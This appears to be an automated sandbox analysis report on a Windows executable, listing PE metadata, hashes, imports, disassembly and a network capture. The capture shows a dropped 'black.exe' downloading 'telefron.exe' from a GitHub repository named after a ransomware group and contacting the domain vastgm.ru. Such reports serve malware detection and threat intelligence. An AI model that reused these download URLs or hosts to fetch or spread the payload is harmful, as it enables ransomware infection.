..`.rsrc................`..............@..@.reloc...............f..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.509626966343186
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Y5kEUsYDFr.exe
File size:	912'111 bytes
MD5:	ec773998b0078cc58100fdb4d27dc3f4
SHA1:	491a3d8d31c9eabcd8f6236203c54daa12031aab
SHA256:	ff4fd58c1db6e88c768665983b2212e53204d7a07b3769883882179d34258933
SHA512:	00c01a72b8dc6254629cf942d30c05015ef44b90ad65da59b07019de3fee14f23d20f4611123308937c46f256e654e054447f42d1132f89dc1cf0af1f1b8bd60
SSDEEP:	24576:yuDXTIGaPhEYzUzA0JZtduqcudFpYePc+98dhK:1Djlabwz97ZdvJydU
TLSH:	7115D00AF7E805F8E077E538C9574946F77A7C4903709A8F13A5166B2F673A09E3A321
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......$.2.`.\.`.\.`.\..y..h.\..y....\..y..m.\.....b.\...X.r.\..._.j.\...Y.Y.\.i...i.\.i...b.\.i...g.\.`.].C.\...Y.R.\...\.a.\.....a.\

File Icon


Icon Hash:	1515d4d4442f2d2d

Static PE Info

General

Entrypoint:	0x140032ee0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x66409723 [Sun May 12 10:17:07 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	2
File Version Major:	5
File Version Minor:	2
Subsystem Version Major:	5
Subsystem Version Minor:	2
Import Hash:	b1c5b1beabd90d9fdabd1df0779ea832

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F5EECB80A78h
dec eax
add esp, 28h
jmp 00007F5EECB8040Fh
int3
int3
dec eax
mov eax, esp
dec eax
mov dword ptr [eax+08h], ebx
dec eax
mov dword ptr [eax+10h], ebp
dec eax
mov dword ptr [eax+18h], esi
dec eax
mov dword ptr [eax+20h], edi
inc ecx
push esi
dec eax
sub esp, 20h
dec ebp
mov edx, dword ptr [ecx+38h]
dec eax
mov esi, edx
dec ebp
mov esi, eax
dec eax
mov ebp, ecx
dec ecx
mov edx, ecx
dec eax
mov ecx, esi
dec ecx
mov edi, ecx
inc ecx
mov ebx, dword ptr [edx]
dec eax
shl ebx, 04h
dec ecx
add ebx, edx
dec esp
lea eax, dword ptr [ebx+04h]
call 00007F5EECB7F893h
mov eax, dword ptr [ebp+04h]
and al, 66h
neg al
mov eax, 00000001h
sbb edx, edx
neg edx
add edx, eax
test dword ptr [ebx+04h], edx
je 00007F5EECB805A3h
dec esp
mov ecx, edi
dec ebp
mov eax, esi
dec eax
mov edx, esi
dec eax
mov ecx, ebp
call 00007F5EECB825B7h
dec eax
mov ebx, dword ptr [esp+30h]
dec eax
mov ebp, dword ptr [esp+38h]
dec eax
mov esi, dword ptr [esp+40h]
dec eax
mov edi, dword ptr [esp+48h]
dec eax
add esp, 20h
inc ecx
pop esi
ret
int3
int3
int3
dec eax
sub esp, 48h
dec eax
lea ecx, dword ptr [esp+20h]
call 00007F5EECB6EE23h
dec eax
lea edx, dword ptr [00025747h]
dec eax
lea ecx, dword ptr [esp+20h]
call 00007F5EECB81672h
int3
jmp 00007F5EECB87854h
int3
int3
int3
int3
int3
int3

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x597a0	0x34	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x597d4	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x70000	0xe3bc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x6a000	0x306c	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7f000	0x970	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x536c0	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x53780	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x4b3f0	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x48000	0x508	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x588bc	0x120	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x4676e	0x46800	f06bb06e02377ae8b223122e53be35c2	False	0.5372340425531915	data	6.47079645411382	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x48000	0x128c4	0x12a00	2de06d4a6920a6911e64ff20000ea72f	False	0.4499003775167785	data	5.273999097784603	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x5b000	0xe75c	0x1a00	0dbdb901a7d477980097e42e511a94fb	False	0.28275240384615385	data	3.2571023907881185	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x6a000	0x306c	0x3200	b0ce0f057741ad2a4ef4717079fa34e9	False	0.483359375	data	5.501810413666288	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.didat	0x6e000	0x360	0x400	1fcc7b1d7a02443319f8fcc2be4ca936	False	0.2578125	data	3.0459938492946015	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
_RDATA	0x6f000	0x15c	0x200	3f331ec50f09ba861beaf955b33712d5	False	0.408203125	data	3.3356393424384843	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x70000	0xe3bc	0xe400	bc9f91a29304eb418a66064e8181fb64	False	0.6335149396929824	data	6.778689555051379	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x7f000	0x970	0xa00	77a9ddfc47a5650d6eebbcc823e39532	False	0.52421875	data	5.336289720085303	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
PNG	0x70674	0xb45	PNG image data, 93 x 302, 8-bit/color RGB, non-interlaced	1.0027729636048528
PNG	0x711bc	0x15a9	PNG image data, 186 x 604, 8-bit/color RGB, non-interlaced	0.9363390441839495
RT_ICON	0x72768	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, resolution 2834 x 2834 px/m, 256 important colors	0.47832369942196534
RT_ICON	0x72cd0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, resolution 2834 x 2834 px/m, 256 important colors	0.5410649819494585
RT_ICON	0x73578	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, resolution 2834 x 2834 px/m, 256 important colors	0.4933368869936034
RT_ICON	0x74420	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 2834 x 2834 px/m	0.5390070921985816
RT_ICON	0x74888	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 2834 x 2834 px/m	0.41393058161350843
RT_ICON	0x75930	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 2834 x 2834 px/m	0.3479253112033195
RT_ICON	0x77ed8	0x3d71	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9809269502193401
RT_DIALOG	0x7bc4c	0x2ba	data	0.5286532951289399
RT_DIALOG	0x7bf08	0x13a	data	0.6560509554140127
RT_DIALOG	0x7c044	0xf2	data	0.71900826446281
RT_DIALOG	0x7c138	0x14a	data	0.6
RT_DIALOG	0x7c284	0x314	data	0.47588832487309646
RT_DIALOG	0x7c598	0x24a	data	0.6279863481228669
RT_STRING	0x7c7e4	0x1fc	data	0.421259842519685
RT_STRING	0x7c9e0	0x246	data	0.41924398625429554
RT_STRING	0x7cc28	0x1a6	data	0.514218009478673
RT_STRING	0x7cdd0	0xdc	data	0.65
RT_STRING	0x7ceac	0x470	data	0.3873239436619718
RT_STRING	0x7d31c	0x164	data	0.5056179775280899
RT_STRING	0x7d480	0x110	data	0.5772058823529411
RT_STRING	0x7d590	0x158	data	0.4563953488372093
RT_STRING	0x7d6e8	0xe8	data	0.5948275862068966
RT_STRING	0x7d7d0	0x1c6	data	0.5242290748898678
RT_STRING	0x7d998	0x268	data	0.4837662337662338
RT_GROUP_ICON	0x7dc00	0x68	data	0.7019230769230769
RT_MANIFEST	0x7dc68	0x753	XML 1.0 document, ASCII text, with CRLF line terminators	0.39786666666666665

Imports

DLL	Import
KERNEL32.dll	LocalFree, GetLastError, SetLastError, FormatMessageW, GetCurrentProcess, DeviceIoControl, SetFileTime, CloseHandle, RemoveDirectoryW, CreateFileW, DeleteFileW, CreateHardLinkW, GetShortPathNameW, GetLongPathNameW, MoveFileW, GetFileType, GetStdHandle, WriteFile, ReadFile, FlushFileBuffers, SetEndOfFile, SetFilePointer, GetCurrentProcessId, CreateDirectoryW, SetFileAttributesW, GetFileAttributesW, FindClose, FindFirstFileW, FindNextFileW, GetVersionExW, GetModuleFileNameW, SetCurrentDirectoryW, GetCurrentDirectoryW, GetFullPathNameW, FoldStringW, GetModuleHandleW, FindResourceW, FreeLibrary, GetProcAddress, ExpandEnvironmentStringsW, ExitProcess, SetThreadExecutionState, Sleep, LoadLibraryW, GetSystemDirectoryW, CompareStringW, AllocConsole, FreeConsole, AttachConsole, WriteConsoleW, GetProcessAffinityMask, CreateThread, SetThreadPriority, InitializeCriticalSection, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, SetEvent, ResetEvent, ReleaseSemaphore, WaitForSingleObject, CreateEventW, CreateSemaphoreW, GetSystemTime, SystemTimeToTzSpecificLocalTime, TzSpecificLocalTimeToSystemTime, SystemTimeToFileTime, FileTimeToLocalFileTime, LocalFileTimeToFileTime, FileTimeToSystemTime, GetCPInfo, IsDBCSLeadByte, MultiByteToWideChar, WideCharToMultiByte, GlobalAlloc, LockResource, GlobalLock, GlobalUnlock, GlobalFree, GlobalMemoryStatusEx, LoadResource, SizeofResource, GetTimeFormatW, GetDateFormatW, GetExitCodeProcess, GetLocalTime, GetTickCount, MapViewOfFile, UnmapViewOfFile, CreateFileMappingW, OpenFileMappingW, GetCommandLineW, SetEnvironmentVariableW, GetTempPathW, MoveFileExW, GetLocaleInfoW, GetNumberFormatW, SetFilePointerEx, GetConsoleMode, GetConsoleCP, HeapSize, SetStdHandle, GetProcessHeap, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineA, GetOEMCP, IsValidCodePage, FindNextFileA, RaiseException, GetSystemInfo, VirtualProtect, VirtualQuery, LoadLibraryExA, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, IsProcessorFeaturePresent, InitializeCriticalSectionAndSpinCount, WaitForSingleObjectEx, IsDebuggerPresent, GetStartupInfoW, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, RtlPcToFileHeader, RtlUnwindEx, EncodePointer, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, QueryPerformanceFrequency, GetModuleHandleExW, GetModuleFileNameA, GetACP, HeapFree, HeapAlloc, GetStringTypeW, HeapReAlloc, LCMapStringW, FindFirstFileExA
OLEAUT32.dll	SysAllocString, SysFreeString, VariantClear
gdiplus.dll	GdipCloneImage, GdipFree, GdipDisposeImage, GdipCreateBitmapFromStream, GdipCreateHBITMAPFromBitmap, GdiplusStartup, GdiplusShutdown, GdipAlloc

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 9, 2024 07:03:43.521142006 CET	49730	80	192.168.2.4	20.233.83.145
Dec 9, 2024 07:03:43.640774012 CET	80	49730	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:43.640857935 CET	49730	80	192.168.2.4	20.233.83.145
Dec 9, 2024 07:03:43.643467903 CET	49730	80	192.168.2.4	20.233.83.145
Dec 9, 2024 07:03:43.762876987 CET	80	49730	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:45.094494104 CET	80	49730	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:45.096118927 CET	49731	443	192.168.2.4	20.233.83.145
Dec 9, 2024 07:03:45.096172094 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:45.096326113 CET	49731	443	192.168.2.4	20.233.83.145
Dec 9, 2024 07:03:45.106193066 CET	49731	443	192.168.2.4	20.233.83.145
Dec 9, 2024 07:03:45.106208086 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:45.139740944 CET	49730	80	192.168.2.4	20.233.83.145
Dec 9, 2024 07:03:46.733144045 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:46.733297110 CET	49731	443	192.168.2.4	20.233.83.145
Dec 9, 2024 07:03:46.738733053 CET	49731	443	192.168.2.4	20.233.83.145
Dec 9, 2024 07:03:46.738739967 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:46.739100933 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:46.795588017 CET	49731	443	192.168.2.4	20.233.83.145
Dec 9, 2024 07:03:46.843327045 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:47.694281101 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:47.694374084 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:47.694412947 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:47.694434881 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:47.694458961 CET	49731	443	192.168.2.4	20.233.83.145
Dec 9, 2024 07:03:47.694475889 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:47.694493055 CET	49731	443	192.168.2.4	20.233.83.145
Dec 9, 2024 07:03:47.694515944 CET	49731	443	192.168.2.4	20.233.83.145
Dec 9, 2024 07:03:47.699702024 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:47.712928057 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:47.712969065 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:47.713015079 CET	49731	443	192.168.2.4	20.233.83.145
Dec 9, 2024 07:03:47.713030100 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:47.713071108 CET	49731	443	192.168.2.4	20.233.83.145
Dec 9, 2024 07:03:47.721209049 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:47.764744997 CET	49731	443	192.168.2.4	20.233.83.145
Dec 9, 2024 07:03:47.878501892 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:47.882263899 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:47.882317066 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:47.882417917 CET	49731	443	192.168.2.4	20.233.83.145
Dec 9, 2024 07:03:47.882433891 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:47.882488966 CET	49731	443	192.168.2.4	20.233.83.145
Dec 9, 2024 07:03:47.890928030 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:47.901038885 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:47.901109934 CET	49731	443	192.168.2.4	20.233.83.145
Dec 9, 2024 07:03:47.901124954 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:47.908914089 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:47.908992052 CET	49731	443	192.168.2.4	20.233.83.145
Dec 9, 2024 07:03:47.908999920 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:47.916821003 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:47.916902065 CET	49731	443	192.168.2.4	20.233.83.145
Dec 9, 2024 07:03:47.916909933 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:47.924841881 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:47.924870968 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:47.924945116 CET	49731	443	192.168.2.4	20.233.83.145
Dec 9, 2024 07:03:47.924954891 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:47.925007105 CET	49731	443	192.168.2.4	20.233.83.145
Dec 9, 2024 07:03:47.932635069 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:47.940484047 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:47.940562963 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:47.940578938 CET	49731	443	192.168.2.4	20.233.83.145
Dec 9, 2024 07:03:47.940593004 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:47.940637112 CET	49731	443	192.168.2.4	20.233.83.145
Dec 9, 2024 07:03:47.948374987 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:47.956238031 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:47.956317902 CET	49731	443	192.168.2.4	20.233.83.145
Dec 9, 2024 07:03:47.956335068 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:47.964076996 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:47.964162111 CET	49731	443	192.168.2.4	20.233.83.145
Dec 9, 2024 07:03:47.964171886 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:48.014769077 CET	49731	443	192.168.2.4	20.233.83.145
Dec 9, 2024 07:03:48.062341928 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:48.070310116 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:48.070391893 CET	49731	443	192.168.2.4	20.233.83.145
Dec 9, 2024 07:03:48.070411921 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:48.073375940 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:48.073470116 CET	49731	443	192.168.2.4	20.233.83.145
Dec 9, 2024 07:03:48.073478937 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:48.079513073 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:48.079593897 CET	49731	443	192.168.2.4	20.233.83.145
Dec 9, 2024 07:03:48.079601049 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:48.088835955 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:48.088932037 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:48.088948965 CET	49731	443	192.168.2.4	20.233.83.145
Dec 9, 2024 07:03:48.088958025 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:48.089004993 CET	49731	443	192.168.2.4	20.233.83.145
Dec 9, 2024 07:03:48.094599962 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:48.100436926 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:48.100513935 CET	49731	443	192.168.2.4	20.233.83.145
Dec 9, 2024 07:03:48.100521088 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:48.106491089 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:48.106559038 CET	49731	443	192.168.2.4	20.233.83.145
Dec 9, 2024 07:03:48.106570959 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:48.111939907 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:48.112004042 CET	49731	443	192.168.2.4	20.233.83.145
Dec 9, 2024 07:03:48.112015963 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:48.117692947 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:48.117744923 CET	49731	443	192.168.2.4	20.233.83.145
Dec 9, 2024 07:03:48.117758989 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:48.123473883 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:48.123549938 CET	49731	443	192.168.2.4	20.233.83.145
Dec 9, 2024 07:03:48.123562098 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:48.129244089 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:48.129292965 CET	49731	443	192.168.2.4	20.233.83.145
Dec 9, 2024 07:03:48.129301071 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:48.140568018 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:48.140640974 CET	49731	443	192.168.2.4	20.233.83.145
Dec 9, 2024 07:03:48.140647888 CET	443	49731	20.233.83.145	192.168.2.4
Dec 9, 2024 07:03:48.141205072 CET	49731	443	192.168.2.4	20.233.83.145
Dec 9, 2024 07:04:00.095634937 CET	80	49730	20.233.83.145	192.168.2.4
Dec 9, 2024 07:04:00.095794916 CET	49730	80	192.168.2.4	20.233.83.145
Dec 9, 2024 07:05:07.047285080 CET	49785	443	192.168.2.4	69.192.108.223
Dec 9, 2024 07:05:07.047305107 CET	443	49785	69.192.108.223	192.168.2.4
Dec 9, 2024 07:05:07.047379017 CET	49785	443	192.168.2.4	69.192.108.223
Dec 9, 2024 07:05:07.047559023 CET	49785	443	192.168.2.4	69.192.108.223
Dec 9, 2024 07:05:07.047569990 CET	443	49785	69.192.108.223	192.168.2.4
Dec 9, 2024 07:05:08.260246992 CET	443	49785	69.192.108.223	192.168.2.4
Dec 9, 2024 07:05:08.362853050 CET	49785	443	192.168.2.4	69.192.108.223
Dec 9, 2024 07:05:08.362884998 CET	443	49785	69.192.108.223	192.168.2.4
Dec 9, 2024 07:05:08.364104033 CET	443	49785	69.192.108.223	192.168.2.4
Dec 9, 2024 07:05:08.364120007 CET	443	49785	69.192.108.223	192.168.2.4
Dec 9, 2024 07:05:08.364187956 CET	49785	443	192.168.2.4	69.192.108.223
Dec 9, 2024 07:05:08.484380007 CET	49785	443	192.168.2.4	69.192.108.223
Dec 9, 2024 07:05:08.484555006 CET	443	49785	69.192.108.223	192.168.2.4
Dec 9, 2024 07:05:08.573370934 CET	49785	443	192.168.2.4	69.192.108.223
Dec 9, 2024 07:05:08.573399067 CET	443	49785	69.192.108.223	192.168.2.4
Dec 9, 2024 07:05:08.776489019 CET	49785	443	192.168.2.4	69.192.108.223
Dec 9, 2024 07:05:23.184171915 CET	49730	80	192.168.2.4	20.233.83.145
Dec 9, 2024 07:05:23.526534081 CET	49730	80	192.168.2.4	20.233.83.145
Dec 9, 2024 07:05:24.229654074 CET	49730	80	192.168.2.4	20.233.83.145
Dec 9, 2024 07:05:25.526705027 CET	49730	80	192.168.2.4	20.233.83.145
Dec 9, 2024 07:05:27.574373007 CET	443	49785	69.192.108.223	192.168.2.4
Dec 9, 2024 07:05:27.574461937 CET	443	49785	69.192.108.223	192.168.2.4
Dec 9, 2024 07:05:27.574558020 CET	49785	443	192.168.2.4	69.192.108.223
Dec 9, 2024 07:05:28.026695967 CET	49730	80	192.168.2.4	20.233.83.145
Dec 9, 2024 07:05:33.026599884 CET	49730	80	192.168.2.4	20.233.83.145
Dec 9, 2024 07:05:43.026597977 CET	49730	80	192.168.2.4	20.233.83.145
Dec 9, 2024 07:06:12.776721001 CET	49785	443	192.168.2.4	69.192.108.223
Dec 9, 2024 07:06:12.776751041 CET	443	49785	69.192.108.223	192.168.2.4
Dec 9, 2024 07:06:57.870714903 CET	49785	443	192.168.2.4	69.192.108.223
Dec 9, 2024 07:06:57.870780945 CET	443	49785	69.192.108.223	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 9, 2024 07:03:43.373780012 CET	62332	53	192.168.2.4	1.1.1.1
Dec 9, 2024 07:03:43.510727882 CET	53	62332	1.1.1.1	192.168.2.4
Dec 9, 2024 07:03:43.536669970 CET	59154	53	192.168.2.4	1.1.1.1
Dec 9, 2024 07:03:44.108558893 CET	53	59154	1.1.1.1	192.168.2.4
Dec 9, 2024 07:05:08.934978962 CET	52689	53	192.168.2.4	1.1.1.1

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Type
Dec 9, 2024 07:03:44.119338989 CET	192.168.2.4	185.178.208.190	4d5a	Echo
Dec 9, 2024 07:03:48.770092010 CET	192.168.2.4	185.178.208.190	4d59	Echo
Dec 9, 2024 07:03:56.160629034 CET	192.168.2.4	185.178.208.190	4d58	Echo
Dec 9, 2024 07:04:00.977262020 CET	192.168.2.4	185.178.208.190	4d57	Echo
Dec 9, 2024 07:04:09.862446070 CET	192.168.2.4	185.178.208.190	4d56	Echo
Dec 9, 2024 07:04:15.073781013 CET	192.168.2.4	185.178.208.190	4d55	Echo
Dec 9, 2024 07:04:23.524650097 CET	192.168.2.4	185.178.208.190	4d54	Echo
Dec 9, 2024 07:04:32.318049908 CET	192.168.2.4	185.178.208.190	4d53	Echo
Dec 9, 2024 07:07:03.209980011 CET	192.168.2.4	185.178.208.190	4d52	Echo
Dec 9, 2024 07:07:12.915436983 CET	192.168.2.4	185.178.208.190	4d51	Echo
Dec 9, 2024 07:07:15.993057966 CET	192.168.2.4	185.178.208.190	4d50	Echo
Dec 9, 2024 07:07:21.276700020 CET	192.168.2.4	185.178.208.190	4d4f	Echo
Dec 9, 2024 07:07:24.274765968 CET	192.168.2.4	185.178.208.190	4d4e	Echo
Dec 9, 2024 07:07:29.749423027 CET	192.168.2.4	185.178.208.190	4d4d	Echo
Dec 9, 2024 07:07:32.258939028 CET	192.168.2.4	185.178.208.190	4d4c	Echo
Dec 9, 2024 07:07:41.130366087 CET	192.168.2.4	185.178.208.190	4d4b	Echo
Dec 9, 2024 07:07:48.962646961 CET	192.168.2.4	185.178.208.190	4d4a	Echo

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 9, 2024 07:03:43.373780012 CET	192.168.2.4	1.1.1.1	0xc323	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 07:03:43.536669970 CET	192.168.2.4	1.1.1.1	0x8745	Standard query (0)	vastgm.ru	A (IP address)	IN (0x0001)	false
Dec 9, 2024 07:05:08.934978962 CET	192.168.2.4	1.1.1.1	0x8e2f	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 9, 2024 07:03:43.510727882 CET	1.1.1.1	192.168.2.4	0xc323	No error (0)	github.com		20.233.83.145	A (IP address)	IN (0x0001)	false
Dec 9, 2024 07:03:44.108558893 CET	1.1.1.1	192.168.2.4	0x8745	No error (0)	vastgm.ru		185.178.208.190	A (IP address)	IN (0x0001)	false
Dec 9, 2024 07:05:09.151154995 CET	1.1.1.1	192.168.2.4	0x8e2f	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

github.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	20.233.83.145	80	6360	C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 07:03:43.643467903 CET	126	OUT	GET /keygroup777-Ransomware/DOWNLOADER/raw/refs/heads/main/telefron.exe HTTP/1.1 Host: github.com Connection: Keep-Alive
Dec 9, 2024 07:03:45.094494104 CET	150	IN	HTTP/1.1 301 Moved Permanently Content-Length: 0 Location: https://github.com/keygroup777-Ransomware/DOWNLOADER/raw/refs/heads/main/telefron.exe

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	20.233.83.145	443	6360	C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 06:03:46 UTC	126	OUT	GET /keygroup777-Ransomware/DOWNLOADER/raw/refs/heads/main/telefron.exe HTTP/1.1 Host: github.com Connection: Keep-Alive
